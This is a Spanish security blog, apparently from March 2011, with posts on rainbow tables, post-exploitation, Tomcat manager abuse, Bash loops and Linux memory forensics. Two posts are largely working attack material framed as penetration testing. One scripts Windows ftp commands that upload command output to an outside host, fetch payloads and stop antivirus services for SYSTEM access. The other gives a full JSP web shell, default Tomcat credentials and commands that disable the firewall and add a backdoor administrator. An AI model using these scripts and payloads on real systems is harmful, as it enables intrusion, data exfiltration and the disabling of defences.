pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

martes, 29 de marzo de 2011

Tablas arco iris (Rainbow tables)

En la siguiente entrada expondremos una pequeña introducción de la evolución en los algoritmos de cifrado y el motivo por el cual son importantes las rainbow tables exponiendo su funcionamiento y donde aplicarlas.

Comencemos con algo de historia, en un principio las contraseñas se almacenaban en texto en claro, por lo cual cuando un entorno era comprometido lo eran también las contraseñas de los usuarios. Debido a esto se emplearon algoritmos de cifrado o resumen (hash) de una sola dirección, es decir, que dado una contraseña le aplicamos un algoritmo que nos genera un hash, pero dado ese hash no existe un algoritmo inverso que nos proporcionara la contraseña. Por tanto ya no se almacenaban las contraseñas en texto en claro sino su hash ¿solucionado?

No, surgió otro problema: ante una misma contraseña se generaba un mismo hash, es decir H(p)=h, por lo cual se podían generar ficheros con una relación de dupla contraseña -  hash. Estos ficheros son el nacimiento de las tablas Raibow Tables, pero lo veremos más adelante.

Ante esta situación se creo el concepto de semilla o pizca de sal, que no es mas que un valor de un tamaño fijo que se introduce en el proceso de cifrado de tal forma que ante una misma contraseña existen tantos hashes como posibles valores pueda valer la semilla. Por lo tanto, si yo tengo una semilla de 2 bits puedo generar cuatro hashes distintos ante una misma contraseña:

H(p+00)=h1
H(p+01)=h2
H(p+10)=h3
H(p+11)=h4

Esto se puede observar si analizamos un fichero Shadow de un entorno Linux donde el segundo campo de este presenta una estructura de tres subcampos separada por el símbolo dolar ($), donde la primera indica el algoritmo hash empleado (1 es MD5, 5 es SHA256 y 6 es SHA512), la seguin indica el valor de la semilla utilizada y la tercera es el hash resultante.

¿Y por qué entonces son importantes las Rainbow Tables? pues porque aunque exista la semilla algunos desarrolladores han decidido no usarla. Estos entornos son principalmente aplicaciones de uso genérico que almacenan algunas contrasellas, algunas bases de datos y los sistemas operativos Windows, repito por si te lo has saltado, y los sistemas operativos Windows, tanto LM como NTLM.

Ante esta situación uno puede decir, ya está, obtengo el control de un controlador de dominio, obtengo el listado de hash de todas las contraseñas de los usuarios mediante fgdump o alguna herramienta parecida y a crackear con mis ficheros de duplas contraseña - hash, ¿verdad?

Pues no, porque el tamaño necesario para almacenar un fichero de duplas contraseña- hash para las posibles combinaciones de 8 caracteres, los cuales pueden ser: mayúsculas, minúsculas, numero o 8 caracteres no alfanuméricos requeriría un espacio de  (26+26+10+8)^8 * tamaño_dupla, vamos que muchos muchos TeraBytes son eso.

Es en este punto donde entran en acción las rainbow tables con los algoritmos de resumen y de reducción. Éstas consisten en dado una contraseña aplicar un algoritmos de resumen obteniendo un hash y sobre éste se aplica un algoritmo de reducción obteniendo una palabra. Este proceso se suele repetir hasta 10.000 veces, y en las últimas rainbow tables, hasta 40.000 veces. Veamos un ejemplo:
H(elefante) = h1 
R(h1) = banco
H(banco) = h2
R(h2) = ladrillo
H(ladrillo) = h3
R(h3)=roto
...
R(h10000)=sefini
Este proceso se repetirá hasta generar 10.000 o 40.000 hashes y contraseñas. Una vez finalizado ÚNICAMENTE se almacenará en la rainbow table la primera contraseña ("elefante") y la última ("sefini"), pero no las 10.000 duplas contraseña - hash, siendo el ahorro enorme. A estas entradas le llamaremos "palabra_ini:palabra_fin".

La pregunta entonces es, ¿y como obtengo la contraseña dado un hash? pues lo que hace el algoritmo es realizar el mismo proceso que hemos descrito con anterioridad pero para el hash del cual se pretende obtener la contraseña, al que llamaremos "hashQueQueremos":
R(hashQueQueremos) = casa
H(casa) = h1
R(h1) = perro
H(perro) = h2
...
R(hX) = sefini
...

Mientas se generan las 10.000 posibles palabras con el "hashQueQueremos" se busca si alguna de las palabras generadas existe en las tablas rainbow como "palabra_fin" de una de las duplas. Si existe, entonce se obtiene la "palabra_ini" de esa dupla y se vuelve a generar las 10.000 palabras a partir de la "palabra_ini".

En el ejemplo anterior hemos visto que en la reducción X se ha obtenido la palabra "sefini" y que dicha palabra existe en las rainbow tables con el par "elefante:sefini", por tanto el algoritmo lo que hace es volver a generar las 10.000 combinaciones que genera la palabra elefante en busca del "hashQueQueremos":

H(elefante) = h1
R(h1) = banco
H(banco) = h2
...
R(hY) = secreto
H(secreto) =hashQueQueremos
...
R(h10000)=sefini

Con esto sabemos que secreto a generado el "hashQueQueremos" y por tanto la contraseña buscada es "secreto".

El ahorro es tal que con una rainbow tables de 2GB suelo obtener en 5 horas el 80% de las contraseñas de un controlador de dominio con unos 500 usuarios si emplea cifrado LM, por defecto en los Win2000/2003. Suelo usar la herramienta Ophcrack con unas rainbow tables que me descargue en su momento, aunque en este enlace tenéis unas cuantas para descargar.

Para ciertas bases de datos con MD5 o SHA1 y sobretodo para auditorias en entornos Windows me ha resultado de muchísima ayuda. Espero que os sea de utilidad.

PD: esta entrada va para esos dos cracks de compañeros que tengo enfrente: Jose Luis Chica Spankito y el dietista David lladró. Ah! y para Raúl que creo que ha sido padre!

Continuar...

sábado, 26 de marzo de 2011

Ejecución de comandos sin acceso al servidor

El diseño de las plataformas Web evolucionan en función que aumentan la preocupación por la seguridad de estos entornos, siendo ya habitual encontrarse con plataformas dividididas en 3 bloques: servidor web, servidor de aplicaciones y base de datos.
  • El primer bloque es el servidor Web o Frontal Web cuyo puerto 80 o 443 es el único puerto accesible desde Internet. Contiene la parte estática de la Web.
  • El segundo bloque, y no accesible desde Internet, es el Servidor de Aplicaciones, el cual se encarga de ejecutar la parte dinámica de la web a petición del primer bloque.
  • El tercer bloque es la base de datos, consultada por el segundo bloque.
Suele ser bastante difícil encontrar vulnerabilidades en el frontal web, ya que estas suelen encontrarse en la parte dinámica de la web: el servidor de aplicaciones o la base de datos. El problema reside en que el auditor no tiene acceso directo sobre estos servidores, por ello aunque pudiéramos crearnos un usuario, no podríamos acceder al servidor y no obtendríamos ventaja de la vulnerabilidad.

De esta forma un auditor debe conocer una serie metodos o procedimientos para obtener ventaja al descubrir una vulnerabilidad en el servidor de aplicaciones que le permita ejecutar código en éste, ya sea por vulnerabilidad en el servidor o en el código. Veamos un diagrama ilustrativo:


Como vemos en el diagrama, es posible que podamos ejecutar comandos, pero carecemos de acceso directo al servidor desconociendo si realmente el entorno es vulnerable: necesitamos saber si realmente es vulnerable y alguna forma de obtener ventaja de esta vulnerabilidad.

Para ello todas las esperanzas residen en que el Firewall permita al servidor vulnerable acceder a Internet. En caso afirmativo nuestro objetivo será emplear alguna herramienta, que por defecto este en la mayoría de los servidores, que permita descargar y subir ficheros: el cliente FTP. Para el ejemplo de la entrada el servidor de aplicaciones será un Windows Server.

Nuestro objetivo será que de alguna forma ejecutar una orden en el servidor y que el resultado de ésta sea subida al FTP del auditor (Internet). Es importante que dicho FTP solo se inicie durante la auditoría y solo permitir la conexión desde la IP pública de la entidad que se está auditando.

La secuencia de comandos para ello consistirá en lanzar una serie de ordenes en el servidor web para que estas se ejecuten en el servidor de aplicaciones, es decir, aprovechar la vulnerabilidad del servidor. Primero se ejecutara una orden, volcando su resultado a un fichero "resultado.txt", posteriormente se creará una fichero "conexion.txt" de configuración de conexión a nuestro ftp y para finalizar se lanzara el cliente ftp para que suba a nuestro servidor ftp el resultado de la orden:
orden>resultado.txt
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
ftp -n -s:conexion.txt
Una vez ejecutado esas 6 ordenes deberemos asegurarnos que hemos detectado tráfico al puerto 21 en nuestro servidor ftp, por ejemplo mediante un sniffer. En caso afirmativo el entorno es vulnerable ya que está ejecutando código y hemos obtenido el resultado de la orden.

De la misma forma que podemos ejecutar ordenes y almacenar los datos en un fichero que posteriormente es subido al FTP, también podríamos usarlo para descargarnos ficheros en el servidor vulnerable, especialmente: fgdump, meterpreter inverso o scripts vbs/bat.

Una vez disponemos de la capacidad de subir ficheros y descargar ficheros del servidor vulnerable necesitamos recopilar información del servidor, y para ello lo recomendable es usar scripts.

Primeramente nos crearemos un fichero que permita conectarse al servidor FTP y descargarse un "bat", ejecutando las siguientes ordenes en el servidor Web (y por tanto en el servidor de aplicaciones):
cmd /c echo open IP_FTP>conexion.txt
cmd /c echo user usuario contraseña>>conexion.txt
cmd /c echo get script.bat>>conexion.txt
cmd /c echo put resultado.txt>>conexion.txt
cmd /c echo quit>>conexion.txt
De esta forma con ejecutar únicamente la orden "ftp -n -s:conexion.txt" descargaremos el script de nuestro ftp y subiremos el resultado del anterior script. Por lo que podemos ir modificando el "script.bat" permitiendo recopilar información sin necesitadad de tener que reconstruir el fichero cada vez. Para ello los pasos recursivos serían los siguientes:

  1. Modificamos el script "script.bat" según requisitos.
  2. Ejecutamos la orden "ftp -n -s:conexion.txt" en el servidor web.
  3. Ejecutamos la orden "cmd /c script.bat" en el servidor web.

De esta forma ejecutando estas tres ordenes sobre el servidor de aplicaciones, a través del servidor web, seremos capaces de subir un script, ejecutarlo y obtener su resultado.

El siguiente paso consiste en identificar que información puede interesarnos. Lógicamente lo primero es conocer que usuario somos, en que directorio nos encontramos, que sistema está corriendo detras, si pertenemos a un DC, procesos, servicios, etc. Por ello creamos y ejecutaremos el siguiente "script.bat":
echo SO>resultado.txt
echo %OS%>>resultado.txt
echo Part Principal>>resultado.txt
echo %SYSTEMDRIVE%>>resultado.txt
echo Windows>>resultado.txt
echo %SYSTEMROOT%>>resultado.txt
echo Hostname>>resultado.txt
echo %COMPUTERNAME%>>resultado.txt
echo DC>>resultado.txt
echo %LOGONSERVER%>>resultado.txt
echo Usuario>>resultado.txt
echo %USERNAME%>>resultado.txt
echo Homepath>>resultado.txt
echo %HOMEPATH%>>resultado.txt
echo Fecha>>resultado.txt
echo %DATE%>>resultado.txt
echo Hora>>resultado.txt
echo %TIME%>>resultado.txt
time /T>>resultado.txt
echo Path>>resultado.txt
echo %PATH%>>resultado.txt
echo Lista procesos>>resultado.txt
tasklist>>resultado.txt
echo Lista servicios>>resultado.txt
sc query state= all>>resultado.txt
echo Configuracion red>>resultado.txt
ipconfig /all>>resultado.txt
echo Conexiones>>resultado.txt
netstat -nabo>>resultado.txt
echo ARP>>resultado.txt
arp -a>>resultado.txt
echo Compartido>>resultado.txt
net use>>resultado.txt
echo Directorio>>resultado.txt
dir>>resultado.txt
echo Usuarios>>resultado.txt
net user>>resultado.txt
echo Grupo>>resultado.txt
net localgroup>>resultado.txt
Con esta información ya sabemos lo principal del servidor, por lo que podemos proceder a la segunda fase respondiendo a la siguiente pregunta ¿que usuario somos?

Si no somos un usuario privilegiado el objetivo es realizar una escalada de privilegios a Administrador. Sí somos Administrador nuestro obejtivo será subir a SYSTEM para volcar la hash de usuarios y contraseñas, así como, para desplegar puertas traseras inversas, sniffer, escaneadores, pivoting etc.

El problema que nos encontraremos en esta situación es que el servidor presente un HIDS o un Antivirus que nos bloqueé tanto los exploits de escalada de privilejios como las herramientas indicadas con anterioridad. Para ello tenemos que servirnos de la información recopilada, donde se nos ha mostraba la lista de servicios y de procesos. Con ella deberemos identificar de que HIDS/ Antivirus se trata y desactivarlo, pero tened en cuenta que solo el usuario SYSTEM puede llevar a cabo dicha tarea. Es la pescadilla que se muerde la cola.

Para saltarse está restricción el auditor puede servirse de la herramienta "at", puesto que una tarea programada por el Administrador con "at" es ejecutada con privilegios del usuario SYSTEM. Pero cuidado, es importante que las tareas se deben repetir, ya que, normalmente los antivirus presentan más de un servicio donde uno de ellos (WatchDog) se encarga de levantar al resto de servicios. De esta forma puede ocurrir que mientras detengamos los otros servicios el WatchDog los este levantando, por lo que aunque detengamos el WatchDog, el resto de servicios hayan sido levantados previamente por este.

Por ello ejecutaremos un script de forma repetida, donde al disponer de la hora en el anterior "script.bat" sabremos a que hora debemos programarlo, en nuestro ejemplo las 17:20:
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
at 17:20 sc stop NombreServicio1
at 17:20 sc stop NombreServicio2
Una vez parado el antivirus / HIDS ya tendremos control total como SYSTEM del entorno, por lo que ya podremos realizar conexiones inversas, obtención de los hashes y pivotar desde el servidor vulnerable.

El único problemas que nos podemos encontrar es que se trate de un Windows 2008, ya que en estos entornos la herramienta "at" no se ejecutará como SYSTEM y por tanto no podremos detener el HIDS o el Antivirus.

Ante esto tenemos dos posibilidades, buscar una vulnerabilidad en el antivirus que permita detenerlo (hace unos meses se publico una para McAffe) o emplear un encode, por ejemplo mediante msfencode, para modificar el código y no sea detectado por el antivirus, es decir, código polimorfico: es lo mismo sumar a 0 5, que restar a 0 -5.

Sirva como apunte que si hemos sido capaces de acceder al entorno desde un escritorio remoto o de forma física, podemos usar el Rootkit Revealer para hacernos SYSTEM mediante la ejecución de una consola de comandos (cmd) desde el menú de ayuda, pero recordar que esta herramienta solo funciona en x86 y no en x86_64.

Con esto ya hemos puesto una de las múltiples formas de poder sacar ventaja ante una vulnerabilidad en un servidor al que no tenemos acceso directo, siempre claro está, se le permita al servidor acceder a internet.

PD: no sabía que título poner a esta entrada ya que es difícil de explicar en una sola frase. 
PD2: si alguien conoce otra forma de hacerse SYSTEM en Win2008 que permita saltarse el antivirus indicarlo :D
PD3: la idea fue tomada del análisis del malware ASN de mi compañero David Lladro.

Continuar...

domingo, 13 de marzo de 2011

Tomar ventaja del manager de Tomcat

Durante un test de intrusión un auditor podría tomar el control de una aplicación web, y en ocasiones, que dicha aplicación permita la administración de un servicio. Una vez conseguido dicho acceso, el auditor tendrá como objetivo intentar ejecutar comandos en el servidor.

Para mostrar como se realizaría esto se va a tomar de ejemplo un servidor Windows 2008 donde se ha conseguido acceso a la aplicación manager del Tomcat, el cual permite desplegar aplicaciones, detenerlas, ejecutarlas, reiniciarlas y eliminarlas. Es muy común que el usuario y contraseña empleados en el manager sean los del ejemplo de configuración (comentados por defecto) o los de la documentación de tomcat, es decir, admin/admin, tomcat/tomcat o tomcat/s3cret. Dicho fichero se encuentra en "home_tomcat/conf/tomcat-users.xml".

Para ello, una vez obtenido el usuario y la contraseña de administración del manager tendremos como objetivo conseguir desplegar un WAR que permita ejecutar comandos. Para la entra usaremos un script JSP de la "hacker_webkit" que me proporciono en su día Roberto y Raúl (compañeros de trabajo), cuyo código vemos a continuación:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
Una vez guardado el script anterior con el nombre "cmd_win32.jsp" tenemos que crearnos el war:
# apt-get install fastjar
# mkdir consola
# cd consola

(creamos el fichero cmd_win32.jsp)
# jar -cvf consola.war *

adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: cmd_win32.jsp (in=272) (out=129) (deflated 52%)
Total:
------
(in = 312) (out = 503) (deflated -61%)
Ahora accedemos a la consola de administración del Tomcat, que por defecto está en "http://IP:8080/manager/html", introduciendo las credenciales obtenidas.  Una vez accedido, veremos que en la parte inferior con título "WAR file to deploy" se nos permite seleccionar un war para desplegarlo:



Pinchamos en "Examinar", seleccionamos nuestro "consola.war" y lo desplegamos pinchando sobre "Deploy". Dependiendo de la versión de tomcat la aplicación se ejecutará automáticamente o será necesario pinchar sobre "Start":



El siguiente paso será acceder a la consola: "http://IP:8080/consola/cmd_win32.jsp". Una vez accedido a la consola realizaremos los pasos básicos para crearnos un usuario, añadir el usuario al grupo administradores y al de escritorio remoto. Podemos encontrarnos con la necesidad de habilitar el escritorio remoto y deshabilitar el firewall de Windows. Para ello ejecutaremos los siguientes comandos:
Ver información del usuario:
set U
Deshabilitar firewall:
netsh firewall set opmode disable
Comprobar si el RD está arrancado:
sc query termservice
Crearnos un usuario:
net user prueba Est0Es1. /add
Añadirlo al grupo adminstradores:
net localgroup "Administrators" prueba /add
Añadirlo al grupo de RD:
net localgroup "Remote Desktop Users" prueba /add
Comprobar que todo ha salido bien:
net user prueba
Los resultados que deberá dar la shell será algo como lo siguiente:
Command: set U
USERDOMAIN=CASA
USERNAME=DC2008$
USERPROFILE=C:\Windows\system32\config\systemprofile
 
Command: netsh firewall set opmode disable
Ok.
 
Command: sc query termservice
SERVICE_NAME: termservice
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Command: net user prueba Est0Es1. /add
The command completed successfully.
 
Command: net localgroup "Administrators" prueba /add
The command completed successfully.
 
Command: net localgroup "Remote Desktop Users" prueba /add
The command completed successfully.
 
Command: net user prueba
User name prueba
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/12/2011 9:37:58 PM
Password expires 4/23/2011 9:37:58 PM
Password changeable 3/13/2011 9:37:58 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Desktop Users
Global Group memberships *Domain Users
The command completed successfully.

Con esto ya tendremos acceso al servidor con un usuario administrador por escritorio remoto. Nos vemos en la próxima entrada.

Continuar...

sábado, 12 de marzo de 2011

Seguridad de la orden "while read" en Bash


Cuando necesitamos recorrer las líneas de un fichero mediante un script de shell Bash nos encontramos con la necesidad de modificar el separador natural, que es el espacio, por el salto de linea. Para ello modificamos la variable “IFS” tal y como se ilustra en el siguiente script:
#!/bin/bash --
OIFS=$IFS
IFS="
"
for i in `cat /etc/resolv.conf`;
do
       echo $i
done
$ ./prueba.sh
# Generated by NetworkManager
domain local.lan
search local.lan
nameserver 80.58.61.250
nameserver 80.58.61.254

Pero la modificación del separador natural puede alterar el funcionamiento de las acciones realizadas dentro del bucle. Por ello se suele emplear la instrucción “while read” que permita también la lectura de ficheros por líneas:
#!/bin/bash --
valor="caca"
cat /etc/resolv.conf | while read i
do
      echo $i
done
$ ./prueba.sh
(mismo resultado que el anterior)
Hasta este punto todo claro, pero... ¿estáis seguros de lo que interpreta Bash en la sentencia anterior? Realmente se ejecuta todo el código dentro del “while read” como un subproceso, por lo cual, todas las modificaciones realizadas sobre las variables dentro de la instrucción solo existen dentro de ese subproceso. Veámoslo:
#!/bin/bash --
valor="caca"
cat /etc/resolv.conf | while read i
do
       valor=$i
done
echo "Valor: $valor"
$ ./prueba.sh
Valor: caca
Aunque la variable declarada antes de la instrucción “while read” sea modificada dentro de esta, la variable mantiene su valor sin que las modificaciones realizadas dentro del bucle le afecten, debido a que que, el código dentro del bucle se ejecuta como un subproceso.

Para que las modificaciones realizadas dentro de la instrucción se apliquen a las variables externas se debe leer el fichero de la siguiente forma:
#!/bin/bash --
valor="caca"
while read i
do
      valor=$i
done < /etc/resolv.conf
echo "Valor: $valor"
$ ./prueba.sh
Valor: nameserver 80.58.61.254
El problema de la opción anterior es que solo sirve para tratar directamente un fichero, pero no para tratar la ejecución de ordenes:
#!/bin/bash --
valor="caca"
while read i;
do
     valor=$i
done < /etc/resolv.conf | grep nameserver
echo "Valor: $valor"
$ ./prueba.sh
Valor: caca
Para poder hacerlo es necesario pasar la orden entre paréntesis y con un doble menor separados por espacio en blanco:
#!/bin/bash --
valor="caca"
while read i;
do
      valor=$i
done < <(cat /etc/resolv.conf | grep nameserver)
echo "Valor $valor"
$ ./prueba.sh
Valor: nameserver 80.58.61.254
 
De esta forma sí que se podrá lanzar ordenes y tratar el resultado de salida, línea por línea, sin necesidad de modificar la variable de separación natural IFS.

Nos vemos en la próxima entrada.

Continuar...

lunes, 7 de marzo de 2011

Análisis forense de memoria RAM en Linux


Durante el inicio de un incidente, el grupo encargado de su gestión debe comprobar primeramente si el incidente ha ocurrido. En caso afirmativo el primer paso a realizar sobre él o los entornos afectados es el volcado de la memoria RAM, puesto que es la pieza más crítica al ser la parte más volátil, y por ello, la que más fácilmente puede ser alterada durante el incidente. 


Para ello se suelen emplear tanto herramientas libres como privadas, principalmente winXXdd o Memoryze para entornos Windows y memdump para entornos Linux. Esa captura debe ser copiada a otro entorno y nunca en el sistema de ficheros del entorno afectado, para ello se puede emplear NetCat (nc) o Samba (CIFS). 

Pero es el análisis posterior donde radica la dificultad. Debemos de ser capaces, de dado el fichero en crudo de la memoria RAM, poder obtener información importante como qué programas se estaban ejecutando, qué puertos escuchando, qué ficheros abiertos, qué usuarios conectados, qué rutas ARP, qué configuración de las interfaces de red, etc. 

En caso de tratarse de entornos Windows existen varias herramientas como Memparser para Windows 2000, Volatility para Windows XP SP2 y 3, o la herramienta por excelencia que consiste en la combinación de la captura de la memoria mediante Mandiant Memoryze y su posterior análisis con Audit Viewer.

Por desgracia en entornos Linux se carecía de cualquier tipo de herramienta que nos permitiera obtener esta información. Habían pequeños proyectos pero no terminaban de cuajar. Pero recientemente tuve el placer de leer una entrada en un blog donde se informaba que la herramienta Volatility, cuya última versión era del 2008, había sido retomada de nuevo, y entra las nuevas mejoras, se encontraba el soporte a una serie de entornos Linux. 

Junto con dicha entrada del 1 de Marzo, coincidió que el proyecto Honeynet sacaba un nuevo reto de análisis forense donde era necesario la gestión de la memoria RAM en un entorno Linux. ¿Un buen lugar donde probar esta nueva herramienta, verdad? 

Empecemos instalando dependencias, descargando la herramienta y la captura RAM del reto:
# apt-get install subversion unzip
# svn checkout http://volatility.googlecode.com/svn/branches/linux-support vollinux
# cd vollinux
# wget http://yom.retiaire.org/dl/victoria-v8.memdump.img.zip
# unzip victoria-v8.memdump.img.zip
# chmod ug+x *.py 
Para usar la nueva versión de Volatiliy (1.4_rc1 en nuestro caso), es necesario indicarle el perfil de la captura, es decir, la distribución y el kernel usado por el equipo donde se realizo el volcado de la memoria. Para ello es necesario descargarse la captura RAW de la partición del reto y obtener esta información: 
# wget http://yom.retiaire.org/dl/victoria-v8.sda1.img.zip
# unzip victoria-v8.sda1.img.zip
# mkdir tmp
# fsstat victoria-v8.sda1.img | grep -i "file system type"
File System Type: Ext3
# mount -t ext3 -o loop,noatime victoria-v8.sda1.img tmp/
# umount tmp/
# mount -t ext3 -o loop,ro,noatime victoria-v8.sda1.img tmp/ 
Sí, hemos tenido que montar en modo escritura la primera vez porque sino nos era imposible montar la imagen. Esto ha modificado valores en la imagen y no es validad para realizar el análisis forense de ésta, pero nos sirve para acceder a la información que buscamos. Esto debe de ser una medida para intentar borrar huellas y aumentar la dificultad del reto, pero esto ya lo trataremos en otra entrada. Obtengamos la información requerida:
# ls tmp/boot/
config-2.6.26-2-686 grub initrd.img-2.6.26-2-686 System.map-2.6.26-2-686 vmlinuz-2.6.26-2-686
# cat tmp/etc/debian_version
5.0.7
# cat tmp/etc/apt/sources.list | grep lenny
...
deb http://ftp.fr.debian.org/debian/ lenny main
# umount tmp/
Con esto sabemos ya que el perfil es una Debian 5.07 con kernel 2.6.26-2-686. Veamos que perfil se adapta a esta configuración:
# python volatility.py --info
...
PROFILES
--------
...
debian2626 - A Profile for debian 2.6.26-2-686
..
El perfil que nos interesa es "debian2626". Ya podemos usar la nueva herramienta mediante la siguiente sintaxis: 
# python volatility.py -f <imagen> --profile=<perfil> <plugin> 
Con ello si quisieramos obtener que puertos estaban a la escucha en el equipo sería mediante el plugin "linux_netstat": 
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_netstat
Volatile Systems Volatility Framework 1.4_rc1
UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429
TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429
UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441
...
UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624
...
TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942
TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065
TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065
...
TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169 

Ups, ese netcat en el puerto 8888 y esos sh en el puerto 4444 que mala pinta tiene ¿verdad?:

Otros plugins interesantes son los siguientes:
  • linux_list_open_files: permite obtener el listado de ficheros.
  • linux_task_list_ps: procesos en ejecución.
  • linux_lsmod: muestra los módulos del núcleo cargados.
  • linux_mount: las particiones montadas en el entorno.
  • linux_ifconfig: configuración de las interfaces de red.
  • linux_route: tabla de enrutamiento.
  • linux_arp: tablas arp.
Por tanto con ejecutar las siguientes ordenes tendríamos respuesta a muchas de las preguntas del reto: 
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_list_open_files
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_task_list_ps
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_lsmod
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_mount
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_netstat
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_ifconfig
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_route
# python volatility.py -f victoria-v8.memdump.img --profile=debian2626 linux_arp
Con esto tenemos la base de por donde comenzar con el reto, que toda sea dicho termina el día 30 de Marzo, queda casi un mes para que finalice. ¡¿A que esperas para apuntarte?!

Continuar...